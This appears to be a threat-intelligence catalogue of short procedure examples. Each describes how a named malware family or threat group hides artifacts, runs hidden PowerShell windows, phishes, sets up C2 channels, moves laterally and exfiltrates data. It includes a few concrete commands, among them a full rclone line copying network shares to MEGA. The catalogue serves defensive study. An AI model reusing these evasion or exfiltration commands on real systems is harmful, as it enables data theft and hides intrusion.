ThiefQuest hides a copy of itself in the user's "~/Library" directory by using a "." at the beginning of the file name followed by 9 random characters.


Tropic Trooper has created a hidden directory under "C:\ProgramData\Apple\Updates\" and "C:\Users\Public\Documents\Flash\".


WannaCry uses "attrib +h" to make some of its files hidden.


WastedLocker has copied a random file from the Windows System32 folder to the "%APPDATA%" location under a different hidden filename.


XCSSET uses a hidden folder named ".xcassets" and ".git" to embed itself in Xcode.


ccf32 has created a hidden directory on targeted systems, naming it after the current local time (year, month, and day).


iKitten saves itself with a leading "." so that it's hidden from users by default.


Dragonfly 2.0 modified the Registry to hide create user accounts.


APT3 has been known to use "-WindowStyle Hidden" to conceal PowerShell windows.


APT32 has used the WindowStyle parameter to conceal PowerShell windows.


Agent Tesla has used "ProcessWindowStyle.Hidden" to hide windows.


BONDUPDATER uses "-windowstyle hidden" to conceal a PowerShell window that downloads a payload.


CopyKittens has used "-w hidden" and "-windowstyle hidden" to conceal PowerShell windows.


Cuba has executed hidden PowerShell windows.


DarkHydrus has used "-WindowStyle Hidden" to conceal PowerShell windows.


Deep Panda has used "-w hidden" to conceal PowerShell windows by setting the WindowStyle parameter to hidden.


Gamaredon Group has used "hidcon" to run batch files in a hidden console window.


Gorgon Group has used "-W Hidden" to conceal PowerShell windows by setting the WindowStyle parameter to hidden.


HAMMERTOSS has used "-WindowStyle hidden" to conceal PowerShell windows.


KOCTOPUS has used "-WindowsStyle Hidden" to hide the command window.


Kevin can hide the current window from the targeted user via the `ShowWindow` API function.


KeyBoy uses "-w Hidden" to conceal a PowerShell window that downloads a payload.


Kimsuky has used an information gathering module that will hide an AV software window from the victim.


Kivars has the ability to conceal its activity through hiding active windows.


Koadic has used the command "Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden" to hide its window.


Metamorfo has hidden its GUI using the ShowWindow() WINAPI call.


Nomadic Octopus executed PowerShell in a hidden window.


QuasarRAT can hide process windows and make web requests invisible to the compromised user. Requests marked as invisible have been sent with user-agent string `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A` though QuasarRAT can only be run on Windows systems.


QuietSieve has the ability to execute payloads in a hidden window.


SILENTTRINITY has the ability to set its window state to hidden.


Ursnif droppers have used COM properties to execute malware in hidden windows.


APT32 used NTFS alternate data streams to hide their payloads.


BitPaymer has copied itself to the ":bin" alternate data stream of a newly created file.


Expand can be used to download or copy a file into an alternate data stream.


Gazer stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.


LoJax has loaded an embedded NTFS DXE driver to be able to access and write to NTFS partitions.


PowerDuke hides many of its backdoor payloads in an alternate data stream (ADS).


Some variants of the Zeroaccess Trojan have been known to store data in Extended Attributes.


The Regin malware platform uses Extended Attributes to store encrypted executables.


Valak has the ability save and execute files as alternate data streams (ADS).


WastedLocker has the ability to save and execute files as an alternate data stream (ADS).


esentutl can be used to read and write alternate data streams.


BOOTRASH has used unallocated disk space between partitions for a hidden file system that stores components of the Nemesis bootkit.


ComRAT has used a portable FAT16 partition image placed in %TEMP% as a hidden file system.


Regin has used a hidden file system to store some of its components.


Strider has used a hidden file system that is stored as a file on disk.


Ragnar Locker has used VirtualBox and a stripped Windows XP virtual machine to run itself. The use of a shared folder specified in the configuration enables Ragnar Locker to encrypt files on the host operating system, including files on any mapped drives.


FIN4 has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as “hacked," "phish," and “malware" in a likely attempt to prevent organizations from communicating about their activities.


Keydnap uses a resource fork to present a macOS JPEG or text file icon rather than the executable's icon assigned by the operating system.


OSX/Shlayer has used a resource fork to hide a compressed binary file of itself from the terminal, Finder, and potentially evade traditional scanners.


Cobalt Strike can use spoof arguments in spawned processes that execute beacon commands.


SombRAT has the ability to modify its process memory to hide process command-line arguments.


APT38 has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions.


SUNSPOT created a copy of the SolarWinds Orion software source file with a ".bk" extension to backup the original content, wrote SUNBURST using the same filename but with a ".tmp" extension, and then moved SUNBURST using "MoveFileEx" to the original filename with a ".cs" extension so it could be compiled within Orion software.


APT38 has used DYEPACK to manipulate SWIFT messages en route to a printer.


Melcoz can monitor the clipboard for cryptocurrency addresses and change the intended address to one controlled by the adversary.


Metamorfo has a function that can watch the contents of the system clipboard for valid bitcoin addresses, which it then overwrites with the attacker's address.


APT38 has used DYEPACK.FOX to manipulate PDF data as it is accessed to remove traces of fraudulent SWIFT transactions from the data displayed to the end user.


Axiom has used spear phishing to initially compromise victims.


Dragonfly has used spearphising campaigns to gain access to victims.


Hikit has been spread through spear phishing.


APT-C-36 has used spearphishing emails with password protected RAR attachment to avoid being detected by the email gateway.


APT1 has sent spearphishing emails containing malicious attachments.


APT28 sent spearphishing emails containing malicious Microsoft Office and RAR attachments.


APT30 has used spearphishing emails with malicious DOC attachments.


APT32 has sent spearphishing emails with a malicious executable disguised as a document or spreadsheet.


APT37 delivers malware using spearphishing emails with malicious HWP attachments.


APT38 has conducted spearphishing campaigns using malicious email attachments.


APT39 leveraged spearphishing emails with malicious attachments to initially compromise victims.


APT41 sent spearphishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims.


Ajax Security Team has used personalized spearphishing attachments.


Andariel has conducted spearphishing campaigns that included malicious Word or Excel attachments.


BLINDINGCAN has been delivered by phishing emails containing malicious Microsoft Office documents.


BRONZE BUTLER used spearphishing emails with malicious Microsoft Word attachments to infect victims.


Bandook is delivered via a malicious Word document inside a zip file.


Bisonal has been delivered as malicious email attachments.


BlackTech has used spearphishing e-mails with malicious password-protected archived files (ZIP or RAR) to deliver malware.


Bumblebee has gained execution through luring users into opening malicious attachments.


Chaes has been delivered by sending victims a phishing email containing a malicious .docx file.


Cobalt Group has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations. Attachment types have included .rtf, .doc, .xls, archives containing LNK files, and password protected archives containing .exe and .scr executables.


DanBot has been distributed within a malicious Excel attachment via spearphishing emails.


DarkHydrus has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). The group has also sent spearphishing emails that contained malicious Microsoft Office documents that use the “attachedTemplate” technique to load a template from a remote server.


DarkWatchman has been delivered via spearphishing emails that contain a malicious zip file.


Dragonfly 2.0 used spearphishing with Microsoft Office attachments to target victims.


During Operation Dust Storm, the threat actors sent spearphishing emails that contained a malicious Microsoft Word document.


Elderwood has delivered zero-day exploits and malware to victims via targeted emails containing malicious attachments.


Ember Bear has sent spearphishing emails containing malicious attachments in the form of PDFs, Word documents, JavaScript files, and Control Panel File (CPL) executables.


Emotet has been delivered by phishing emails containing attachments.


EnvyScout has been distributed via spearphishing as an email attachment.


FIN7 sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.


FIN8 has distributed targeted emails containing Word documents with embedded malicious macros.


Ferocious Kitten has conducted spearphishing campaigns containing malicious documents to lure victims to open the attachments.


Flagpro has been distributed via spearphishing as an email attachment.


For C0015, security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims.


Frankenstein has used spearphishing emails to send trojanized Microsoft Word documents.


Gallmaker sent emails with malicious Microsoft Office documents attached.


Gamaredon Group has delivered spearphishing emails with malicious attachments to targets.


Gorgon Group sent emails to victims with malicious Microsoft Office documents attached.


Hancitor has been delivered via phishing emails with malicious attachments.


IcedID has been delivered via phishing e-mails with malicious attachments.


IndigoZebra sent spearphishing emails containing malicious password-protected RAR attachments.


JSS Loader has been delivered by phishing emails containing malicious Microsoft Excel attachments.


Javali has been delivered as malicious e-mail attachments.


KOCTOPUS has been distributed via spearphishing emails with malicious attachments.


Kerrdown has been distributed through malicious e-mail attachments.


Kimsuky has used emails containing Word, Excel and/or HWP (Hangul Word Processor) documents in their spearphishing campaigns.


Lokibot is delivered via a malicious XLS attachment contained within a spearhpishing email.


Metamorfo has been delivered to victims via emails with malicious HTML attachments.


Mofang delivered spearphishing emails with malicious documents, PDFs, or Excel files attached.


OceanSalt has been delivered via spearphishing emails with Microsoft Office attachments.


OilRig has sent spearphising emails with malicious attachments to potential victims using compromised and/or spoofed email accounts.


OutSteel has been distributed as a malicious attachment within a spearphishing email.


PLATINUM has sent spearphishing emails with attachments to victims as its primary initial access vector.


Patchwork has used spearphishing with an attachment to deliver files with exploits to initial victims.


PoetRAT was distributed via malicious Word documents.


Pony has been delivered via spearphishing attachments.


ROKRAT has been delivered via spearphishing emails that contain a malicious Hangul Office or Microsoft Word document.


RTM has been delivered via spearphishing attachments disguised as PDF documents.


RTM has used spearphishing attachments to distribute its malware.


Rancor has attached a malicious document to an email to gain initial access.


Rifdoor has been distributed in e-mails with malicious Excel or Word documents.


Sandworm Team has delivered malicious Microsoft Office attachments via spearphishing emails.


Sharpshooter has sent malicious attachments via emails to targets.


SideCopy has sent spearphishing emails with malicious hta file attachments.


Silence has sent emails with malicious DOCX, CHM, LNK and ZIP attachments.


Squirrelwaffle has been distributed via malicious Microsoft Office documents within spam emails.


TA459 has targeted victims using spearphishing emails with malicious Microsoft Word attachments.


TA505 has used spearphishing emails with malicious attachments to initially compromise victims.


TA551 has sent spearphishing attachments with password protected ZIP files.


The White Company has sent phishing emails with malicious Microsoft Word attachments to victims.


ThreatNeedle has been distributed via a malicious Word document within a spearphishing email.


Transparent Tribe has sent spearphishing e-mails with attachments to deliver malicious payloads.


TrickBot has used an email with an Excel sheet containing a malicious macro to deploy the malware


Tropic Trooper sent spearphishing emails that contained malicious Microsoft Office and fake installer file attachments.


Turla has used spearphishing emails to deliver BrainTest as a malicious attachment.


Valak has been delivered via spearphishing e-mails with password protected ZIP files.


Windshift has sent spearphishing emails with attachment to harvest credentials and deliver malware.


Wizard Spider has used spearphishing attachments to deliver Microsoft documents containing macros or PDFs containing malicious links to download either Emotet, Bokbot, TrickBot, or Bazar.


ZxxZ has been distributed via spearphishing emails, usually containing a malicious RTF or Excel attachment.


admin@338 has sent emails with malicious Microsoft Office documents attached.


AADInternals can send "consent phishing" emails containing malicious links designed to steal users’ access tokens.


APT28 sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites.


APT39 leveraged spearphishing emails with malicious links to initially compromise victims.


AppleJeus has been distributed via spearphishing link.


Bazar has been spread via emails with embedded malicious links.


BlackTech has used spearphishing e-mails with links to cloud services to deliver malware.


Bumblebee has been spread through e-mail campaigns with malicious links.


Confucius has sent malicious links to victims through email campaigns.


Dragonfly 2.0 used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites.


During C0011, Transparent Tribe sent emails containing a malicious link to student targets in India.


During Night Dragon, threat actors sent spearphishing emails containing links to compromised websites where malware was downloaded.


During Operation Dust Storm, the threat actors sent spearphishing emails containing a malicious link.


EXOTIC LILY has relied on victims to open malicious links in e-mails for execution.


Earth Lusca has sent spearphishing emails to potential targets that contained a malicious link.


Elderwood has delivered zero-day exploits and malware to victims via targeted emails containing a link to malicious content hosted on an uncommon Web server.


Ember Bear has sent spearphishing emails containing malicious links.


FIN7 has conducted broad phishing campaigns using malicious links.


Hancitor has been delivered via phishing emails which contained malicious links.


Javali has been delivered via malicious links embedded in e-mails.


KOCTOPUS has been distributed as a malicious link within an email.


Kimsuky has sent spearphishing emails containing a link to a document that contained malicious macros or took the victim to an actor-controlled domain.


Lazarus Group has sent malicious links to victims via email.


LazyScripter has used spam emails that contain a link that redirects the victim to download a malicious document.


Leviathan has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.


Magic Hound has sent malicious URL links through email to victims. In some cases the URLs were shortened or linked to Word documents with malicious macros that executed PowerShells scripts to download Pupy.


Melcoz has been spread through malicious links embedded in e-mails.


Mofang delivered spearphishing emails with malicious links included.


Night Dragon sent spearphishing emails containing links to compromised websites where malware was downloaded.


OutSteel has been distributed through malicious links contained within spearphishing emails.


QakBot has spread through emails with malicious links.


Saint Bot has been distributed through malicious links contained within spearphishing emails.


Sidewinder has sent e-mails with malicious links often crafted for specific targets.


Squirrelwaffle has been distributed through phishing emails containing a malicious URL.


Stolen Pencil sent spearphishing emails containing links to domains controlled by the threat actor.


TA505 has sent spearphishing emails containing malicious links.


TrickBot has been delivered via malicious links in phishing e-mails.


Turla attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access.


Windshift has sent spearphishing emails with links to harvest credentials and deliver malware.


ZIRCONIUM has used malicious links and web beacons in e-mails for malware download and to track hits to attacker-controlled URL's.


APT29 has used the legitimate mailing service Constant Contact to send phishing e-mails.


Ajax Security Team has used various social media channels to spearphish victims.


FIN6 has used fake job advertisements sent via LinkedIn to spearphish targets.


Lazarus Group has used fake job advertisements sent via LinkedIn to spearphish victims.


Lazarus Group has used social media platforms, including LinkedIn and Twitter, to send spearphishing messages.


Magic Hound used various social media channels (such as LinkedIn) as well as messaging services (such as WhatsApp) to spearphish victims.


OilRig has used LinkedIn to send spearphishing links.


APT28 can exfiltrate data over Google Drive.


AppleSeed has exfiltrated files using web services.


DropBook has used legitimate web services to exfiltrate data.


BoomBox can upload data to dedicated per-victim folders in Dropbox.


Chimera has exfiltrated stolen data to OneDrive accounts.


Clambling can send files from a victim's machine to Dropbox.


Confucius has exfiltrated victim data to cloud storage service accounts.


CreepyDrive can use cloud services including OneDrive for data exfiltration.


During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.


Earth Lusca has used the megacmd tool to upload stolen files from a victim network to MEGA.


Empire can use Dropbox for data exfiltration.


FIN7 has exfiltrated stolen data to the MEGA file sharing site.


HEXANE has used cloud services, including OneDrive, for data exfiltration.


Lazarus Group has exfiltrated stolen data to Dropbox using a customized version of dbxcli.


Leviathan has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.


POLONIUM has exfiltrated stolen data to POLONIUM-owned OneDrive and Dropbox accounts.


ROKRAT can send collected data to cloud storage services such as PCloud.


RainyDay can use a file exfiltration tool to upload specific files to Dropbox.


Rclone can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA.


Turla has used WebDAV to upload stolen USB files to a cloud drive. Turla has also exfiltrated stolen files to OneDrive and 4shared.


ZIRCONIUM has exfiltrated stolen data to Dropbox.


APT29 used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.


Bisonal has used a dynamic DNS service for C2.


During Night Dragon, threat actors used dynamic DNS services for C2.


For Operation Spalax, the threat actors used dynamic DNS services, including Duck DNS and DNS Exit, as part of their C2 infrastructure.


Gamaredon Group has incorporated dynamic DNS domains in its infrastructure.


Gelsemium can use dynamic DNS domain names in C2.


Gelsemium has used dynamic DNS in its C2 infrastructure.


NETEAGLE can use HTTP to download resources that contain an IP address and port number pair to connect to for C2.


Tomiris has connected to a signalization server that provides a URL and port, and then Tomiris sends a GET request to that URL to establish C2.


UNC2452 used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.


Machete has used free dynamic DNS domains for C2.


TA505 has used fast flux to mask botnets by distributing payloads across multiple IPs.


gh0st RAT operators have used dynamic DNS to mask the true location of their C2 behind rapidly changing IP addresses.


njRAT has used a fast flux DNS for C2 IP resolution.


Bazar can implement DGA using the current date as a seed variable.


CCBkdr can use a DGA for Fallback Channels if communications with the primary command and control server are lost.


CHOPSTICK can use a DGA for Fallback Channels, domains are generated by concatenating words from lists.


Conficker has used a DGA that seeds with the current UTC victim system date to generate domains.


DarkWatchman has used a DGA to generate a domain name for C2.


Ebury has used a DGA to generate a domain name for C2.


MiniDuke can use DGA to generate new Twitter URLs for C2.


Ngrok can provide DGA for C2 servers through the use of random URL strings that change every 12 hours.


QakBot can use domain generation algorithms in C2 communication.


ShadowPad uses a DGA that is based on the day of the month for C2 servers.


Shark can send DNS C2 communications using a unique domain generation algorithm.


SombRAT can use a custom DGA to generate a subdomain for C2.


TA551 has used a DGA to generate URLs from executed macros.


TeamTNT has created system services to execute cryptocurrency mining software.


AppleJeus has loaded a plist file using the "launchctl" command.


Calisto uses launchctl to enable screen sharing on the victim’s machine.


XCSSET loads a system level launchdaemon using the "launchctl load -w" command from "/System/Librarby/LaunchDaemons/ssh.plist".


macOS.OSAMiner has used `launchctl` to restart the Launch Agent.


APT38 has created new services or modified existing ones to run executables, commands, or scripts.


APT39 has used post-exploitation tools including RemCom and the Non-sucking Service Manager (NSSM) to execute processes.


APT41 used  svchost.exe and Net to execute a system service installed to launch a Cobalt Strike BEACON loader.


Anchor can create and execute services to load its payload.


Chimera has used PsExec to deploy beacons on compromised systems.


Cobalt Strike can use PsExec to execute a payload on a remote host. It can also use Service Control Manager to start new services.


During Operation Honeybee, threat actors ran "sc start" to start the COMSysApp as part of the service hijacking and "sc stop" to stop and reconfigure the COMSysApp.


During Operation Wocao, threat actors created services on remote systems for execution purposes.


Empire can use PsExec to execute a payload on a remote host.


FIN6 has created Windows services to execute encoded PowerShell commands.


HOPLIGHT has used svchost.exe to execute a malicious DLL .


HermeticWiper can create system services to aid in executing the payload.


HermeticWizard can use `OpenRemoteServiceManager` to create a service.


Honeybee launches a DLL file that gets executed as a service using svchost.exe


Hydraq uses svchost.exe to execute a malicious DLL included in a new service group.


HyperBro has the ability to start and stop a specified service.


Impacket contains various modules emulating other service execution tools such as PsExec.


InvisiMole has used Windows services as a way to execute its malicious payload.


Ke3chang has used a tool known as RemoteExec (similar to PsExec) to remotely execute batch scripts and binaries.


Koadic can run a command on another machine using PsExec.


LoudMiner started the cryptomining virtual machine as a service on the infected machine.


NotPetya can use PsExec to help propagate itself across a network.


Okrum's loader can create a new service named NtmsSvc to execute the payload.


Olympic Destroyer utilizes PsExec to help propagate itself across a network.


Operation Wocao has created services on remote systems for execution purposes.


PoshC2 contains an implementation of PsExec for remote execution.


Proxysvc registers itself as a service on the victim’s machine to run as a standalone process.


Pupy uses PsExec to execute a payload or commands on a remote host.


RemoteCMD can execute commands remotely by creating a new service on the remote system.


Shamoon creates a new service named “ntssrv” to execute the payload. Shamoon can also spread via PsExec.


SysUpdate can manage services and processes.


The "net start" and "net stop" commands can be used in Net to execute or stop Windows services.


TinyTurla can install itself as a service on compromised machines.


WastedLocker can execute itself as a service.


Winexe installs a service on the remote system, executes the command, then uninstalls the service.


Winnti for Windows can run as a service using svchost.exe.


Wizard Spider has used services.exe to execute scripts and executables during lateral movement within a victim network.


APT32 has deployed tools after moving laterally using administrative accounts.


Aoqin Dragon has spread malware in target networks by copying modules to folders masquerading as removable devices.


BITSAdmin can be used to create BITS Jobs to upload and/or download files from SMB file servers.


Chimera has copied tools between compromised hosts using SMB.


During C0015, the threat actors used WMI to load Cobalt Strike onto additional hosts within a compromised network.


DustySky searches for network drives and removable media and duplicates itself onto them.


Expand can be used to download or upload a file over a network share.


FIN10 has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally.


GALLIUM has used PsExec to move laterally between hosts in the target network.


HermeticWizard can copy files to other machines on a compromised network.


Kerrdown can download additional software including Cobalt Strike from servers on the victim's network.


LockerGoga has been observed moving around the victim network via SMB, indicating the actors behind this ransomware are manually copying files form computer to computer instead of self-propagating.


Olympic Destroyer attempts to copy itself to remote machines on the network.


Operation Wocao has used SMB to copy files to and from target systems.


PsExec can be used to download or upload a file over a network share.


Sandworm Team has used `move` to transfer files to a network share.


Shamoon attempts to copy itself to remote machines on the network.


Stuxnet uses an RPC server that contains a file dropping routine and support for payload version updates for P2P communications within a victim network.


Turla RPC backdoors can be used to transfer files to/from victim machines on the local network.


WannaCry attempts to copy itself to remote computers after gaining access via an SMB exploit.


Wizard Spider has used stolen credentials to copy tools into the "%TEMP%" directory of domain controllers.


cmd can be used to copy files to/from a remotely connected internal system.


esentutl can be used to copy files to/from a remote share.


ftp may be abused by adversaries to transfer tools or files between systems within a compromised environment.


APT-C-36 has used port 4050 for C2 communications.


APT33 has used HTTP over TCP ports 808 and 880 for command and control.


An APT32 backdoor can use HTTP over a non-standard TCP port (e.g 14146) which is specified in the backdoor configuration.


BADCALL communicates on ports 443 and 8000 with a FakeTLS method.


Bankshot binds and listens on port 1058 for HTTP traffic while also utilizing a FakeTLS method.


BendyBear has used a custom RC4 and XOR encrypted protocol over port 443 for C2.


Cyclops Blink can use non-standard ports for C2 not typically associated with HTTP or HTTPS traffic.


DarkVishnya used ports 5190 and 7900 for shellcode listeners, and 4444, 4445, 31337 for shellcode C2.


Derusbi has used unencrypted HTTP on port 443 for C2.


Emotet has used HTTP over ports such as 20, 22, 7080, and 50000, in addition to using ports commonly associated with HTTP/S.


FIN7 has used port-protocol mismatches on ports such as 53, 80, 443, and 8080 during C2.


GoldenSpy has used HTTP over ports 9005 and 9006 for network traffic, 9002 for C2 requests, 33666 as a WebSocket, and 8090 to download files.


GravityRAT has used HTTP over a non-standard port, such as TCP port 46769.


HARDRAIN binds and listens on port 443 with a FakeTLS method.


HOPLIGHT has connected outbound over TCP port 443 with a FakeTLS method.


Magic Hound malware has communicated with its C2 server over TCP port 4443 using HTTP.


Metamorfo has communicated with hosts over raw TCP on port 9999.


PoetRAT used TLS to encrypt communications over port 143


QuasarRAT can use port 4782 on the compromised host for TCP callbacks.


Rocke's miner connects to a C2 server using port 51640.


Sandworm Team has used port 6789 to accept connections on the group's SSH server.


Some Lazarus Group malware uses a list of ordered port numbers to choose a port for C2 traffic, creating port-protocol mismatches.


TEMP.Veles has used port-protocol mismatches on ports such as 443, 4444, 8531, and 50501 during C2.


TYPEFRAME has used ports 443, 8080, and 8443 with a FakeTLS method.


WIRTE has used HTTPS over ports 2083 and 2087 for C2.


WellMail has been observed using TCP port 25, without using SMTP, to leverage an open port for secure command and control communications.


Chimera has encapsulated Cobalt Strike's C2 protocol in DNS and HTTPS.


Cobalt Group has used the Plink utility to create SSH tunnels.


CostaRicto has set up remote SSH tunneling into the victim's environment from a malicious domain.


Cyclops Blink can use DNS over HTTPS (DoH) to resolve C2 nodes.


During CostaRicto, the threat actors set up remote SSH tunneling into the victim's environment from a malicious domain.


FIN6 used the Plink command-line utility to create SSH tunnels to C2 servers.


Heyoka Backdoor can use spoofed DNS requests to create a bidirectional tunnel between a compromised host and its C2 servers.


Industroyer attempts to perform an HTTP CONNECT via an internal proxy to establish a tunnel.


Kevin can use a custom protocol tunneled through DNS or HTTP.


Milan can use a custom protocol tunneled through DNS or HTTP.


Mythic can use SOCKS proxies to tunnel traffic through another protocol.


Ngrok can tunnel RDP and other services securely over internet connections.


OilRig has used the Plink utility and other tools to create tunnels to C2 servers.


The QakBot proxy module can encapsulate SOCKS5 protocol within its own proxy protocol.


APT29 has used multiple layers of encryption within malware to protect C2 communication.


BITTER has encrypted their C2 communications.


Cryptoistic can engage in encrypted communications with C2.


Lizar can support encrypted communications between the client and server.


PowGoop can receive encrypted commands from C2.


PowerLess can use an encrypted channel for C2 communications.


RCSession can use an encrypted beacon to check in with C2.


Tropic Trooper has encrypted traffic with the C2 to prevent network detection.


gh0st RAT has encrypted TCP communications to evade detection.


A variant of ADVSTORESHELL encrypts some C2 with 3DES.


APT12 has used the RIPTIDE RAT, which communicates over HTTP with a payload encrypted with RC4.


APT28 installed a Delphi backdoor that used a custom algorithm for C2 communications.


APT33 has used AES for encryption of command and control traffic.


Attor has encrypted data symmetrically using a randomly generated Blowfish (OFB) key which is encrypted with a public RSA key.


Azorult can encrypt C2 traffic using XOR.


BADCALL encrypts C2 traffic using an XOR/ADD cipher.


BADNEWS encrypts C2 data with a ROR by 3 and an XOR by 0x23.


BBSRAT uses a custom encryption algorithm on data sent back to the C2 server over HTTP.


BLINDINGCAN has encrypted its C2 traffic with RC4.


BRONZE BUTLER has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic. BRONZE BUTLER has also used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.


Bandook has used AES encryption for C2 communication.


Bazar can send C2 communications with XOR encryption.


Before being appended to image files, HAMMERTOSS commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.


Bisonal variants reported on in 2014 and 2015 used a simple XOR cipher for C2. Some Bisonal samples encrypt C2 communications with RC4.


Bonadan can XOR-encrypt C2 communications.


Bumblebee can encrypt C2 requests and responses with RC4


CHOPSTICK encrypts C2 communications with RC4.


CORESHELL C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.


Carbanak encrypts the message body of HTTP traffic with RC2 (in CBC mode). Carbanak also uses XOR with random keys for its communications.


ChChes can encrypt C2 traffic with AES or RC4.


Cobalt Strike has the ability to use AES-256 symmetric encryption in CBC mode with HMAC-SHA-256 to encrypt task commands and XOR to encrypt shell code and configuration data.


Comnie encrypts command and control communications with RC4.


CosmicDuke contains a custom version of the RC4 algorithm that includes a programming error.


Darkhotel has used AES-256 and 3DES for C2 communications.


Dipsind encrypts C2 data with AES256 in ECB mode.


During Frankenstein, the threat actors communicated with C2 via an encrypted RC4 byte stream and AES-CBC.


Ebury has encrypted C2 traffic using the client IP address, then encoded it as a hexadecimal string.


Elise encrypts exfiltrated data with RC4.


Epic encrypts commands from the C2 server using a hardcoded key.


FALLCHILL encrypts C2 data with RC4 encryption.


FatDuke can AES encrypt C2 communications.


FlawedAmmyy has used SEAL encryption during the initial C2 handshake.


FoggyWeb has used a dynamic XOR key and custom XOR methodology for C2 communications.


Frankenstein has communicated with a C2 via an encrypted RC4 byte stream and AES-CBC.


Gazer uses custom encryption for C2 that uses 3DES.


GreyEnergy encrypts communications using AES256.


GrimAgent can use an AES key to encrypt C2 communications.


H1N1 encrypts C2 traffic using an RC4 key.


Helminth encrypts data sent to its C2 server over HTTP with RC4.


HiddenWasp uses an RC4-like algorithm with an already computed PRGA generated key-stream for network communication.


Higaisa used AES-128 to encrypt C2 traffic.


HyperStack has used RSA encryption for C2 communications.


KEYMARBLE uses a customized XOR algorithm to encrypt C2 communications.


Kobalos's post-authentication communication channel uses a 32-byte-long password with RC4 for inbound and outbound traffic.


LightNeuron uses AES to encrypt C2 traffic.


LookBack uses a modified version of RC4 for data transfer.


Lucifer can perform a decremental-xor encryption on the initial C2 request before sending it over the wire.


Machete has used AES to exfiltrate documents.


Metamorfo has encrypted C2 commands with AES-256.


More_eggs has used an RC4-based encryption method for its C2 communications.


Mosquito uses a custom encryption algorithm, which consists of XOR and a stream that is similar to the Blum Blum Shub algorithm.


MuddyWater has used AES to encrypt C2 responses.


Mustang Panda has encrypted C2 communications with RC4.


NDiskMonitor uses AES to encrypt certain information sent over its C2 channel.


NETEAGLE will decrypt resources it downloads with HTTP requests by using RC4 with the key "ScoutEagle."


NETWIRE can use AES encryption for C2 data transferred.


NanoCore uses DES to encrypt the C2 traffic.


PLEAD has used RC4 encryption to download modules.


POWERTON has used AES for encrypting C2 traffic.


Pandora has the ability to encrypt communications with D3DES.


PingPull can use AES, in cipher block chaining (CBC) mode padded with PKCS5, to encrypt C2 server communications.


PlugX can use RC4 encryption in C2 communications.


PoisonIvy uses the Camellia cipher to encrypt communications.


Prikormka encrypts some C2 traffic with the Blowfish cipher.


QuasarRAT uses AES with a hardcoded pre-shared key to encrypt network communication.


RDAT has used AES ciphertext to encode C2 communications.


RainyDay can use RC4 to encrypt C2 communications.


Rifdoor has encrypted command and control (C2) communications with a stream cipher.


SeaDuke C2 traffic has been encrypted with RC4 and AES.


Several Lazarus Group malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another Lazarus Group malware sample XORs C2 traffic. Other Lazarus Group malware uses Caracachs encryption to encrypt C2 payloads. Lazarus Group has also used AES to encrypt C2 traffic.


SideTwist can encrypt C2 communications with a randomly generated key.


Sliver can use AES-GCM-256 to encrypt a session key for C2 message exchange.


SodaMaster can use RC4 to encrypt C2 communications.


SombRAT has encrypted its C2 communications with AES.


Some Felismus samples use a custom encryption method for C2 traffic that utilizes AES and multiple keys.


Some versions of UPPERCUT have used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. Later versions have hard-coded keys uniquely for each C2 address.


Stealth Falcon malware encrypts C2 traffic using RC4 with a hard-coded key.


StrifeWater can encrypt C2 traffic using XOR with a hard coded key.


Stuxnet encodes the payload of system information sent to the command and control servers using a one byte 0xFF XOR key. Stuxnet also uses a 31-byte long static byte string to XOR data sent to command and control servers. The servers use a different static key to encrypt replies to the implant.


Sys10 uses an XOR 0x1 loop to encrypt its C2 domain.


TAINTEDSCRIBE uses a Linear Feedback Shift Register (LFSR) algorithm for network encryption.


TSCookie has encrypted network communications with RC4.


Taidoor uses RC4 to encrypt the message body of HTTP content.


The Duqu command and control protocol's data stream can be encrypted with AES-CBC.


The IceApple Result Retriever module can AES encrypt C2 responses.


The original variant of FakeM encrypts C2 traffic using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation. Some variants of FakeM use RC4 to encrypt C2 traffic.


Volgmer uses a simple XOR cipher to encrypt traffic and files.


WarzoneRAT can encrypt its C2 with RC4 with the password `warzone160\x00`.


Winnti for Linux has used a custom TCP protocol with four-byte XOR for command and control (C2).


Winnti for Windows can XOR encrypt C2 traffic.


XCSSET uses RC4 encryption over TCP to communicate with its C2 server.


ZeroT has used RC4 to encrypt C2 traffic.


down_new has the ability to AES encrypt C2 communications.


gh0st RAT uses RC4 and XOR to encrypt C2 traffic.


httpclient encrypts C2 content with XOR using a single byte, 0x12.


xCaon has encrypted data sent to the C2 server using a XOR key.


Attor's Blowfish key is encrypted with a public RSA key.


BISCUIT uses SSL for encrypting C2 communications.


CHOPSTICK encrypts C2 communications with TLS.


Cobalt Strike can use RSA asymmetric encryption with PKCS1 padding to encrypt data sent to the C2 server.


